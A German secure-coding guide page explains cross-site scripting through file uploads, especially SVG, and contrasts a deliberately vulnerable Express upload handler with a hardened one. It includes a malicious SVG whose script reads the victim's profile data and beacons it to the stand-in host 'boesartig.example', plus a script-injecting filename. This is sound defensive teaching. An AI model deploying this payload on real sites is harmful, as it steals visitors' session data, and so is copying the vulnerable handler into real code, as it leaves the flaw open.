Zum Inhalt springen

Cross-Site Scripting über Datei-Upload

CWE-79CWE-434OWASP A03:2021Aktualisiert 4. September 20265 Min. Lesezeit

Dateitypen wie SVG und HTML können Skriptcode enthalten. Wird eine solche Datei von Ihrer eigenen Domain im Browser dargestellt, läuft dieser Code innerhalb Ihres Ursprungs, mit Zugriff auf Cookies und die Sitzung des Besuchers. Auch der Dateiname selbst kann ein Einschleusungspunkt sein, wenn er irgendwo angezeigt wird.

Eine Upload-Funktion wird meist danach beurteilt, ob etwas Ausführbares auf dem Server landen kann. Es gibt einen zweiten Weg, der weniger Aufmerksamkeit erhält und in der Praxis häufiger offensteht: eine Datei, die auf dem Server völlig unschädlich ist, im Browser des Besuchers jedoch etwas bewirkt. Im Folgenden lesen Sie, wie das funktioniert und warum das Ausliefern wichtiger ist als das Speichern.

Warum ist das Ausliefern das Problem?

Bei dieser Variante geht es nicht um Code, der auf Ihrem Server läuft, sondern um Code, der im Browser desjenigen läuft, der die Datei öffnet. Cross-Site Scripting über Datei-Upload entsteht, wenn ein Dateityp, der Skriptcode enthalten kann, von Ihrer eigenen Domain im Browser dargestellt wird.

Das bekannteste Beispiel ist SVG. Es wird wie ein Bild behandelt, es steht in der Liste erlaubter Bildformate und trägt einen image/-Typ, doch in Wirklichkeit ist es ein XML-Dokument, das der Browser darstellt und das Skriptelemente enthalten darf. Dasselbe gilt für HTML und in geringerem Maße für andere Formate, die der Browser als Dokument behandelt.

Das entscheidende Wort ist Ursprung. Läuft dieser Code auf ihredomain.de, hat er Zugriff auf alles, worauf auch Ihre Seiten Zugriff haben: Cookies ohne HttpOnly, den Inhalt der DOM und die Möglichkeit, Anfragen mit der Sitzung des Besuchers zu stellen. Dieselbe Datei auf einer anderen Domain ist unschädlich.

Wie läuft ein solcher Angriff ab?

Verwundbar:

// Nur Bilder erlaubt; SVG steht auf dieser Liste
const ERLAUBT = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml'];

app.post('/profil/foto', upload.single('datei'), async (req, res) => {
  if (!ERLAUBT.includes(req.file.mimetype)) {
    return res.status(400).send('Nur Bilder');
  }
  await fs.promises.rename(req.file.path, `./public/avatare/${req.file.originalname}`);
  res.send('Gespeichert');
});

Die Prüfung wirkt vernünftig: nur Bilder. Doch der Angreifer lädt dies hoch:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="120">
  <circle cx="60" cy="60" r="55" fill="#4c1d95"/>
  <script>
    fetch('/api/profil')
      .then(r => r.json())
      .then(d => navigator.sendBeacon('https://boesartig.example/in', JSON.stringify(d)));
  </script>
</svg>

Als Profilfoto in einem <img>-Tag geschieht nichts; Browser führen Skripte in diesem Zusammenhang nicht aus. Wird die Datei jedoch unmittelbar geöffnet, über einen Link “Bild ansehen”, einen neuen Tab oder eine geteilte URL, stellt der Browser sie als Dokument dar, und das Skript läuft. Es ruft die Profildaten des Opfers mit dessen eigener Sitzung ab und leitet sie weiter. Alles innerhalb Ihres Ursprungs, mit Ihrem Domainnamen in der Adresszeile.

Sicher:

const ERLAUBT = new Map([
  ['image/jpeg', 'jpg'],
  ['image/png', 'png'],
  ['image/webp', 'webp'],
]);                                     // kein SVG

app.post('/profil/foto', upload.single('datei'), async (req, res) => {
  const typ = await bestimmeTypAusInhalt(req.file.path);
  const endung = ERLAUBT.get(typ?.mime);
  if (!endung) {
    await fs.promises.unlink(req.file.path);
    return res.status(400).send('Dateityp nicht erlaubt');
  }

  // Neu erzeugen: was auch immer darin steckte, das Ergebnis ist ein sauberes Bild
  const name = `${randomUUID()}.${endung}`;
  await sharp(req.file.path).resize(512, 512, { fit: 'inside' }).toFile(`/var/ablage/${name}`);
  await fs.promises.unlink(req.file.path);

  res.json({ id: name });
});

// Ausliefern von einer eigenen Domain, ohne Darstellungszusammenhang
app.get('/datei/:id', async (req, res) => {
  const datei = await dateien.finde(req.params.id);
  if (!datei || !darfSehen(req.nutzer, datei)) return res.sendStatus(404);

  res.set('Content-Type', datei.typ);
  res.set('X-Content-Type-Options', 'nosniff');
  res.set('Content-Disposition', 'attachment');
  res.set('Content-Security-Policy', "default-src 'none'; sandbox");
  res.sendFile(`/var/ablage/${datei.name}`);
});

Hier greifen vier voneinander unabhängige Schichten. SVG steht nicht auf der Liste. Bilder werden neu erzeugt, wodurch eingebettete Inhalte verschwinden. Der Dateiname wird ersetzt, sodass er selbst kein Einschleusungspunkt sein kann. Und beim Ausliefern sorgen Content-Disposition: attachment und eine restriktive Content-Security-Policy dafür, dass der Browser die Datei nicht als Dokument darstellt.

Die stärkste Maßnahme bleibt das Ausliefern von einer eigenen Domain. Dann fällt etwaiger Code außerhalb des Ursprungs Ihrer Anwendung, und der Angriff ist strukturell unmöglich statt nur abgedeckt.

Denken Sie auch an den Dateinamen. Ein Name wie "><script>alert(1)</script>.png ist eine gewöhnliche Einschleusung, sobald Sie ihn ohne Maskierung in einer Übersicht anzeigen. Ersetzen Sie den Namen beim Speichern und maskieren Sie den ursprünglichen Namen überall dort, wo Sie ihn darstellen.

Welche Auswirkungen hat XSS über Datei-Upload?

Der Schweregrad ist mittel bis hoch und entspricht dem von gewöhnlichem gespeichertem Cross-Site Scripting, mit einem Unterschied: Der Code steckt in einer Datei, die sich gezielt teilen lässt. Der Angreifer muss nicht warten, bis ein Opfer eine Seite besucht; er schickt den Link.

Was der Code vermag, bestimmt Ihr Ursprung. Cookies ohne HttpOnly sind auslesbar, Anfragen lassen sich mit der Sitzung des Opfers stellen, und Seiteninhalte können abgerufen und weitergeleitet werden. In einer Anwendung, in der ein Administrator die hochgeladenen Dateien beurteilt, ist das ein unmittelbarer Weg zu einem Administratorkonto, und genau diese Beurteilung ist ein Ablauf, den Sie selbst eingerichtet haben.

Hinzu kommt die Glaubwürdigkeit. Der Link verweist auf Ihre Domain, mit Ihrem Zertifikat und Ihrem Namen. Für Phishing ist das deutlich wirksamer als eine fremde URL, und es macht Ihre Plattform für Angriffe auf Dritte nutzbar.

Wie spürt man XSS über Datei-Upload auf?

Ein Tester probiert zunächst aus, welche Dateitypen akzeptiert werden, mit besonderem Augenmerk auf SVG, HTML und andere Formate, die der Browser als Dokument behandelt. Anschließend wird betrachtet, wie diese Dateien zurückgeliefert werden.

Die maßgeblichen Fragen lauten dabei: Ist die Datei unmittelbar unter einer eigenen URL abrufbar, und auf welcher Domain? Wird sie mit einer Content-Disposition ausgeliefert, die sie als Download anbietet, oder wird sie in der Seite dargestellt? Ist ein nosniff-Header vorhanden? Wird der Inhaltstyp aus dem Inhalt oder aus dem Dateinamen abgeleitet? Ebenso wird getestet, ob eine Datei mit irreführender Endung dennoch als Dokument behandelt wird und ob der Dateiname irgendwo unmaskiert angezeigt wird. AssistSec beurteilt dabei ausdrücklich den Auslieferungsweg statt allein die Upload-Prüfung, denn dort entsteht die Schwachstelle, und dort wird sie behoben.

Wie verhindert man XSS über Datei-Upload?

  • Lassen Sie SVG und HTML nicht als Upload-Format zu, sofern Sie sie nicht wirklich benötigen.
  • Erzeugen Sie hochgeladene Bilder neu, damit eingebettete Inhalte verschwinden.
  • Bereinigen Sie SVG-Dateien, die Sie doch akzeptieren, mit einer Bibliothek, die Skripte und externe Verweise entfernt.
  • Liefern Sie von Nutzern gelieferte Dateien von einer eigenen Domain aus.
  • Senden Sie beim Ausliefern Content-Disposition: attachment und X-Content-Type-Options: nosniff mit.
  • Geben Sie Dateien eine restriktive Content-Security-Policy mit, etwa mit sandbox.
  • Bestimmen Sie den Inhaltstyp aus dem Inhalt der Datei, nicht aus dem angegebenen Namen.
  • Ersetzen Sie den Dateinamen beim Speichern und maskieren Sie den ursprünglichen Namen bei der Anzeige.
  • Autorisieren Sie beim Ausliefern, damit sich eine Datei nicht ohne Weiteres mit Dritten teilen lässt.

Quellen

Häufige Fragen

Warum ist SVG so problematisch?

Weil es kein Bildformat im üblichen Sinn ist, sondern ein XML-Dokument, das der Browser darstellt. Es darf Skriptelemente und Event-Attribute enthalten, und diese werden ausgeführt, wenn die Datei unmittelbar geöffnet wird. Für den Nutzer ist es ein Bild; für den Browser ein Dokument.

Genügt es, SVG abzulehnen?

Das ist die einfachste Lösung, wenn Sie das Format nicht benötigen, und häufig die richtige Wahl. Benötigen Sie es sehr wohl, verarbeiten Sie es mit einer Bibliothek, die Skripte und externe Verweise entfernt, und liefern Sie es dennoch von einer eigenen Domain aus.

Ist eine eigene Domain wirklich nötig?

Es ist die einzige Maßnahme, die den Angriff strukturell unmöglich macht statt nur unwahrscheinlich. Läuft eingeschleuster Code auf einer anderen Domain, fällt er außerhalb des Ursprungs Ihrer Anwendung und hat keinen Zugriff auf Cookies oder die DOM. Die übrigen Maßnahmen sind Schichten; diese ist eine Trennung.

Kann der Dateiname selbst gefährlich sein?

Ja. Ein Name mit HTML-Zeichen, den Sie in einer Übersicht anzeigen, ist eine gewöhnliche Einschleusung in Ihre eigene Seite. Ersetzen Sie den Namen beim Speichern durch einen selbst erzeugten Wert und maskieren Sie den ursprünglichen Namen überall dort, wo Sie ihn darstellen.

Verwandte Artikel

Zum Suchen / drücken · Esc